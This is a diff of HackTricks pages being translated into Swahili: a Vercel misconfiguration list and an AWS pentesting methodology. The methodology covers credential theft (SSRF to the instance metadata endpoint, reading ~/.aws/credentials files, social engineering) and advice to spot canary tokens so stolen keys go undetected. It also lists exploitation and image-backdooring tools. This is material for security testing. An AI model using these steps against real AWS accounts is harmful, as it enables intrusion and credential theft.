- **Risk:** Kufichuliwa kwa IP iliyoshirikiwa kunaongeza uso wa shambulio, na kuweza kuruhusu miradi iliyoharibiwa kuathiri mingine.
5. **Inadequate IP Address Management**
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
- **Misconfiguration:** Kukosa kusimamia au kubadilisha anwani za IP maalum ipasavyo.
- **Risk:** IP spoofing, udhaifu wa kufuatilia, na uwezekano wa kuorodheshwa kama IP ikiwa inahusishwa na shughuli za uhalifu.
6. **Including Build Containers Unnecessarily**
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
- **Misconfiguration:** Kuongeza vyombo vya kujenga kwenye mtandao wa Secure Compute wakati ufikiaji wa nyuma hauhitajiki wakati wa kujenga.
- **Risk:** Kuongeza uso wa shambulio, kuchelewesha ugawaji, na matumizi yasiyo ya lazima ya rasilimali za mtandao.
7. **Failure to Securely Handle Bypass Secrets**
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
- **Misconfiguration:** Kufichua au kushughulikia vibaya siri zinazotumika kupita ulinzi wa kutekeleza.
- **Risk:** Ufikiaji usioidhinishwa wa kutekeleza kulindwa, kuruhusu wavamizi kubadilisha au kutekeleza msimbo mbaya.
8. **Ignoring Region Failover Configurations**
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
- **Misconfiguration:** Kutokuweka maeneo ya failover yasiyo ya msingi au kuweka vibaya mipangilio ya failover.
- **Risk:** Kukosekana kwa huduma wakati wa kutofaulu kwa eneo la msingi, kupelekea kupungua kwa upatikanaji na uwezekano wa kutokuelewana kwa data.
9. **Exceeding VPC Peering Connection Limits**
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
- **Misconfiguration:** Kujaribu kuanzisha uhusiano zaidi wa VPC peering kuliko kiwango kinachoruhusiwa (kwa mfano, kupita uhusiano 50).
- **Risk:** Kutokuweza kuunganisha huduma muhimu za nyuma kwa usalama, kupelekea kushindwa kwa kutekeleza na usumbufu wa operesheni.
10. **Insecure Network Settings**
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
- **Misconfiguration:** Sheria dhaifu za firewall, ukosefu wa usimbuaji, au kutengwa kwa mtandao kwa njia isiyo sahihi ndani ya mtandao wa Secure Compute.
- **Risk:** Kukamatwa kwa data, ufikiaji usioidhinishwa wa huduma za nyuma, na kuongezeka kwa udhaifu wa mashambulizi.
---
### Environment Variables
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
**Purpose:** Kusimamia vigezo maalum vya mazingira na siri zinazotumika na miradi yote.
#### Security Configurations:
- **Exposing Sensitive Variables**
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
- **Misconfiguration:** Kuongeza awali kwa vigezo nyeti kwa `NEXT_PUBLIC_`, na kuifanya iweze kupatikana upande wa mteja.
- **Risk:** Kufichua funguo za API, akidi za database, au data nyingine nyeti kwa umma, kupelekea uvunjaji wa data.
- **Sensitive disabled**
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
- **Misconfiguration:** Ikiwa imezimwa (kawaida) inawezekana kusoma thamani za siri zilizozalishwa.
- **Risk:** Kuongezeka kwa uwezekano wa kufichuliwa kwa bahati mbaya au ufikiaji usioidhinishwa wa taarifa nyeti.
{{#include ../banners/hacktricks-training.md}}

View File

@@ -4,9 +4,9 @@
## Basic Information
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
**Kabla ya kuanza pentesting** mazingira ya **AWS**, kuna mambo machache **muhimu unahitaji kujua** kuhusu jinsi AWS inavyofanya kazi ili kukusaidia kuelewa unachohitaji kufanya, jinsi ya kupata makosa ya usanidi na jinsi ya kuyatumia.
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
Mifano kama vile hierarchi ya shirika, IAM na dhana nyingine za msingi zinaelezwa katika:
{{#ref}}
aws-basic-information/
@@ -29,42 +29,42 @@ Tools to simulate attacks:
## AWS Pentester/Red Team Methodology
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
Ili kukagua mazingira ya AWS, ni muhimu sana kujua: ni **huduma zipi zinatumika**, nini kinacho **onyeshwa**, nani ana **ufikiaji** wa nini, na jinsi huduma za ndani za AWS na **huduma za nje** zinavyounganishwa.
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya AWS** ni kupata **akili** fulani. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo:
- **Leaks** in github (or similar) - OSINT
- **Social** Engineering
- **Password** reuse (password leaks)
- Vulnerabilities in AWS-Hosted Applications
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
- **Local File Read**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 3rd parties **breached**
- **Internal** Employee
- **Mvuja** katika github (au sawa) - OSINT
- **Uhandisi** wa Kijamii
- **Tena** matumizi ya nywila (mvuja za nywila)
- Uthibitisho katika Programu za AWS-Zilizohifadhiwa
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) yenye ufikiaji wa metadata endpoint
- **Usomaji wa Faili za Mitaa**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 3rd parties **zilizoathirika**
- **Mfanyakazi** wa Ndani
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
Or by **compromising an unauthenticated service** exposed:
Au kwa **kuathiri huduma isiyo na uthibitisho** iliyonyeshwa:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
Or if you are doing a **review** you could just **ask for credentials** with these roles:
Au ikiwa unafanya **kaguzi** unaweza tu **kuomba credentials** na hizi nafasi:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
> Baada ya kufanikiwa kupata credentials, unahitaji kujua **ni nani mwenye hizo creds**, na **nini wana ufikiaji**, hivyo unahitaji kufanya uainishaji wa msingi:
## Basic Enumeration
### SSRF
If you found a SSRF in a machine inside AWS check this page for tricks:
Ikiwa umepata SSRF katika mashine ndani ya AWS angalia ukurasa huu kwa mbinu:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
@@ -72,8 +72,7 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
### Whoami
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
Moja ya mambo ya kwanza unahitaji kujua ni wewe ni nani (katika akaunti gani uko na habari nyingine kuhusu mazingira ya AWS):
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -89,10 +88,9 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
> [!CAUTION]
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
> Kumbuka kwamba kampuni zinaweza kutumia **canary tokens** kubaini wakati **tokens zinapokuwa zikiibiwa na kutumika**. Inapendekezwa kuangalia kama token ni canary token au la kabla ya kuitumia.\
> Kwa maelezo zaidi [**angalia ukurasa huu**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -102,30 +100,30 @@ aws-services/aws-organizations-enum.md
### IAM Enumeration
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
Ikiwa una ruhusa za kutosha **kuangalia haki za kila kitengo ndani ya akaunti ya AWS** itakusaidia kuelewa ni nini unaweza kufanya na vitambulisho vingine na jinsi ya **kuinua haki**.
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
Check **how to do the numeration and brute-forcing** in:
Ikiwa huna ruhusa za kutosha kuhesabu IAM, unaweza **kuiba kuzitafutia** ili kujua.\
Angalia **jinsi ya kufanya hesabu na brute-forcing** katika:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
> In the following section you can check some ways to **enumerate some common services.**
> Sasa kwamba **una taarifa fulani kuhusu hati zako** (na ikiwa wewe ni timu ya red, matumaini huja **gundulika**). Ni wakati wa kubaini ni huduma zipi zinazotumika katika mazingira.\
> Katika sehemu ifuatayo unaweza kuangalia njia kadhaa za **kuhesabu huduma za kawaida.**
## Services Enumeration, Post-Exploitation & Persistence
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
AWS ina idadi kubwa ya huduma, katika ukurasa ufuatao utapata **taarifa za msingi, hesabu** cheatsheets\*\*,\*\* jinsi ya **kuepuka kugunduliwa**, kupata **kuendelea**, na hila nyingine za **post-exploitation** kuhusu baadhi yao:
{{#ref}}
aws-services/
{{#endref}}
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automated-tools).
Kumbuka kwamba **huhitaji** kufanya kazi yote **kwa mikono**, hapa chini katika chapisho hili unaweza kupata **sehemu kuhusu** [**zana za kiotomatiki**](#automated-tools).
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
Zaidi ya hayo, katika hatua hii unaweza kugundua **huduma zaidi zilizofichuliwa kwa watumiaji wasio na uthibitisho,** unaweza kuwa na uwezo wa kuzitumia:
{{#ref}}
aws-unauthenticated-enum-access/
@@ -133,7 +131,7 @@ aws-unauthenticated-enum-access/
## Privilege Escalation
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
Ikiwa unaweza **kuangalia angalau ruhusa zako mwenyewe** juu ya rasilimali tofauti unaweza **kuangalia ikiwa unaweza kupata ruhusa zaidi**. Unapaswa kuzingatia angalau ruhusa zilizoonyeshwa katika:
{{#ref}}
aws-privilege-escalation/
@@ -141,10 +139,10 @@ aws-privilege-escalation/
## Publicly Exposed Services
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
Wakati wa kuhesabu huduma za AWS unaweza kuwa umepata baadhi yao **zinazoonyesha vitu kwenye Mtandao** (VM/Containers ports, databases au queue services, snapshots au buckets...).\
Kama pentester/red teamer unapaswa kila wakati kuangalia ikiwa unaweza kupata **taarifa nyeti / udhaifu** juu yao kwani zinaweza kukupa **ufikiaji zaidi kwenye akaunti ya AWS**.
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
Katika kitabu hiki unapaswa kupata **taarifa** kuhusu jinsi ya kupata **huduma za AWS zilizofichuliwa na jinsi ya kuziangalia**. Kuhusu jinsi ya kupata **udhaifu katika huduma za mtandao zilizofichuliwa** ningependekeza **utafute** huduma maalum katika:
{{#ref}}
https://book.hacktricks.wiki/
@@ -154,52 +152,49 @@ https://book.hacktricks.wiki/
### From the root/management account
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
Wakati akaunti ya usimamizi inaunda akaunti mpya katika shirika, **jukumu jipya** linaundwa katika akaunti mpya, kwa default linaitwa **`OrganizationAccountAccessRole`** na kutoa sera ya **AdministratorAccess** kwa **akaunti ya usimamizi** ili kufikia akaunti mpya.
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
So, in order to access as administrator a child account you need:
Hivyo, ili kufikia kama msimamizi akaunti ya mtoto unahitaji:
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
- **Kuvunja** akaunti ya **usimamizi** na kupata **ID** ya **akaunti za watoto** na **majina** ya **jukumu** (OrganizationAccountAccessRole kwa default) inayoruhusu akaunti ya usimamizi kufikia kama msimamizi.
- Ili kupata akaunti za watoto nenda kwenye sehemu ya mashirika katika console ya aws au endesha `aws organizations list-accounts`
- Huwezi kupata jina la majukumu moja kwa moja, hivyo angalia sera zote za kawaida za IAM na utafute yoyote inayoruhusu **`sts:AssumeRole` juu ya akaunti za watoto zilizogunduliwa awali**.
- **Kuvunja** **mwanachama** katika akaunti ya usimamizi na **`sts:AssumeRole` ruhusa juu ya jukumu katika akaunti za watoto** (hata kama akaunti inaruhusu mtu yeyote kutoka akaunti ya usimamizi kujiwakilisha, kama ni akaunti ya nje, ruhusa maalum za `sts:AssumeRole` zinahitajika).
## Automated Tools
### Recon
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Zana ya **kukusanya hesabu** inayolenga usalama wa AWS iliyoandikwa kwa Ruby.
```bash
# Install
gem install aws_recon
# Recon and get json
AWS_PROFILE=<profile> aws_recon \
--services S3,EC2 \
--regions global,us-east-1,us-east-2 \
--verbose
--services S3,EC2 \
--regions global,us-east-1,us-east-2 \
--verbose
```
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist ni **chombo cha multi-cloud kwa kupata Mali** (Majina ya mwenyeji, Anwani za IP) kutoka kwa Watoa Huduma za Cloud.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper inakusaidia kuchambua mazingira yako ya Amazon Web Services (AWS). Sasa ina kazi nyingi zaidi, ikiwa ni pamoja na ukaguzi wa masuala ya usalama.
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
{
"accounts": [
{
"default": true,
"id": "<account id>",
"name": "dev"
}
],
"cidrs":
{
"2.2.2.2/28": {"name": "NY Office"}
}
"accounts": [
{
"default": true,
"id": "<account id>",
"name": "dev"
}
],
"cidrs":
{
"2.2.2.2/28": {"name": "NY Office"}
}
}
# Enumerate
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
- [**cartography**](https://github.com/lyft/cartography): Cartography ni chombo cha Python kinachounganisha mali za miundombinu na uhusiano kati yao katika mtazamo wa grafu wa kueleweka unaoendeshwa na hifadhidata ya Neo4j.
```bash
# Install
pip install cartography
@@ -240,17 +233,15 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase inakusanya mali na uhusiano kutoka kwa huduma na mifumo ikiwa ni pamoja na miundombinu ya wingu, programu za SaaS, udhibiti wa usalama, na zaidi katika mtazamo wa grafu unaoeleweka unaoungwa mkono na hifadhidata ya Neo4j.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Inatumia python2) Hii ni zana inayojaribu **kuvumbua yote** [**rasilimali za AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) zilizoundwa katika akaunti.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Ni zana ya **kupata anwani zote za IP za umma** (zote IPv4/IPv6) zinazohusishwa na akaunti ya AWS.
### Privesc & Exploiting
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
- Note that pacu **only checks your own privescs paths** (not account wide).
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Gundua watumiaji wenye mamlaka zaidi katika mazingira ya AWS yaliyoskanwa, ikiwa ni pamoja na AWS Shadow Admins. Inatumia powershell. Unaweza kupata **ufafanuzi wa sera zenye mamlaka** katika kazi **`Check-PrivilegedPolicy`** katika [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu ni **mfumo wa unyakuzi wa AWS** wa chanzo wazi, ulioandaliwa kwa ajili ya majaribio ya usalama wa kukabili dhidi ya mazingira ya wingu. Inaweza **kuorodhesha**, kupata **makosa ya usanidi** na **kuyatumia**. Unaweza kupata **ufafanuzi wa ruhusa zenye mamlaka** katika [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) ndani ya kamusi ya **`user_escalation_methods`**.
- Kumbuka kwamba pacu **inaangalia tu njia zako za privesc** (sio kwa akaunti nzima).
```bash
# Install
## Feel free to use venvs
@@ -264,9 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ni script na maktaba ya kutambua hatari katika usanidi wa AWS Identity and Access Management (IAM) kwa akaunti ya AWS au shirika la AWS. Inatengeneza mfano wa Watumiaji na Majukumu tofauti ya IAM katika akaunti kama grafu iliyoelekezwa, ambayo inaruhusu ukaguzi wa **kuinua mamlaka** na njia mbadala ambazo mshambuliaji anaweza kuchukua ili kupata ufikiaji wa rasilimali au hatua katika AWS. Unaweza kuangalia **idhini zinazotumika kutafuta njia za privesc** katika majina ya faili yanayomalizika na `_edges.py` katika [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining ni chombo cha Tathmini ya Usalama wa AWS IAM ambacho kinatambua ukiukaji wa haki za chini na kuzalisha ripoti ya HTML iliyo na kipaumbele cha hatari.\
Itakuonyesha wateja wanaoweza kuwa **na haki nyingi**, sera za inline na aws **na ni **wakuu gani wana ufaccess** kwao. (Haki hizi hazichunguzwi tu kwa privesc bali pia aina nyingine za ruhusa za kuvutia, inapendekezwa kutumika).
```bash
# Install
pip install cloudsplaining
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack inakadiria akaunti za AWS kwa **udhaifu wa hijacking wa subdomain** kutokana na usanidi wa Route53 na CloudFront ulioachwa mbali.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Orodha ya ECR repos -> Pull ECR repo -> Backdoor hiyo -> Push picha iliyokuwa na backdoor
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ni chombo ambacho **kinatafuta** kupitia picha za umma za Elastic Block Storage (**EBS**) kwa siri ambazo zinaweza kuwa ziachwa kwa bahati mbaya.
### Audit
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit na Aqua ni mradi wa chanzo wazi ulioandaliwa kuruhusu kugundua **hatari za usalama katika akaunti za miundombinu ya wingu**, ikiwa ni pamoja na: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), na GitHub (Haifanyi utafutaji wa ShadowAdmins).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ni chombo cha usalama cha Open Source kufanya tathmini za mbinu bora za usalama za AWS, ukaguzi, majibu ya matukio, ufuatiliaji endelevu, kuimarisha na maandalizi ya uchunguzi.
```bash
# Install python3, jq and git
# Install
@@ -331,15 +314,11 @@ prowler -v
prowler <provider>
prowler aws --profile custom-profile [-M csv json json-asff html]
```
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. Its an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox inakusaidia kupata ufahamu wa hali katika mazingira ya wingu yasiyojulikana. Ni zana ya mstari wa amri ya chanzo wazi iliyoundwa kusaidia wapimaji wa penzi na wataalamu wengine wa usalama wa kukabili kupata njia za shambulio zinazoweza kutumika katika miundombinu ya wingu.
```bash
cloudfox aws --profile [profile-name] all-checks
```
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite ni chombo cha ukaguzi wa usalama wa multi-cloud kilicho wazi, ambacho kinawawezesha kutathmini hali ya usalama ya mazingira ya wingu.
```bash
# Install
virtualenv -p python3 venv
@@ -350,18 +329,16 @@ scout --help
# Get info
scout aws -p dev
```
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (inatumia python2.7 na inaonekana haijatunzwa)
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus ni chombo chenye nguvu kwa ajili ya AWS EC2 / S3 / CloudTrail / CloudWatch / KMS mbinu bora za kuimarisha (inaonekana haijatunzwa). Inakagua tu akauti za msingi zilizowekwa ndani ya mfumo.
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
### Ukaguzi wa Kudumu
### Constant Audit
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ni injini ya sheria kwa ajili ya kusimamia akaunti na rasilimali za umma za wingu. Inawaruhusu watumiaji **kufafanua sera za kuwezesha miundombinu ya wingu inayosimamiwa vizuri**, ambayo ni salama na imeboreshwa kwa gharama. Inakusanya scripts nyingi za adhoc ambazo mashirika yana nazo kuwa chombo chepesi na chenye kubadilika, chenye vipimo na ripoti zilizounganishwa.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ni jukwaa la **ufuatiliaji wa kuendelea wa ufuataji, ripoti za ufuataji na automatisering ya usalama kwa ajili ya wingu**. Katika PacBot, sera za usalama na ufuataji zinawekwa kama msimbo. Rasilimali zote zinazogunduliwa na PacBot zinakaguliwa dhidi ya sera hizi ili kupima ufuataji wa sera. Mfumo wa **auto-fix** wa PacBot unatoa uwezo wa kujibu kiotomatiki kwa ukiukaji wa sera kwa kuchukua hatua zilizowekwa.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ni mfumo wa uchambuzi wa data wa **wakati halisi** usio na seva ambao unakupa uwezo wa **kuingiza, kuchambua, na kutoa tahadhari** kuhusu data kutoka mazingira yoyote, **ukitumia vyanzo vya data na mantiki ya tahadhari unayofafanua**. Timu za usalama wa kompyuta zinatumia StreamAlert kuchanganua terabytes za data za kumbukumbu kila siku kwa ajili ya kugundua na kujibu matukio.
## DEBUG: Capture AWS cli requests
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
## References
## Marejeo
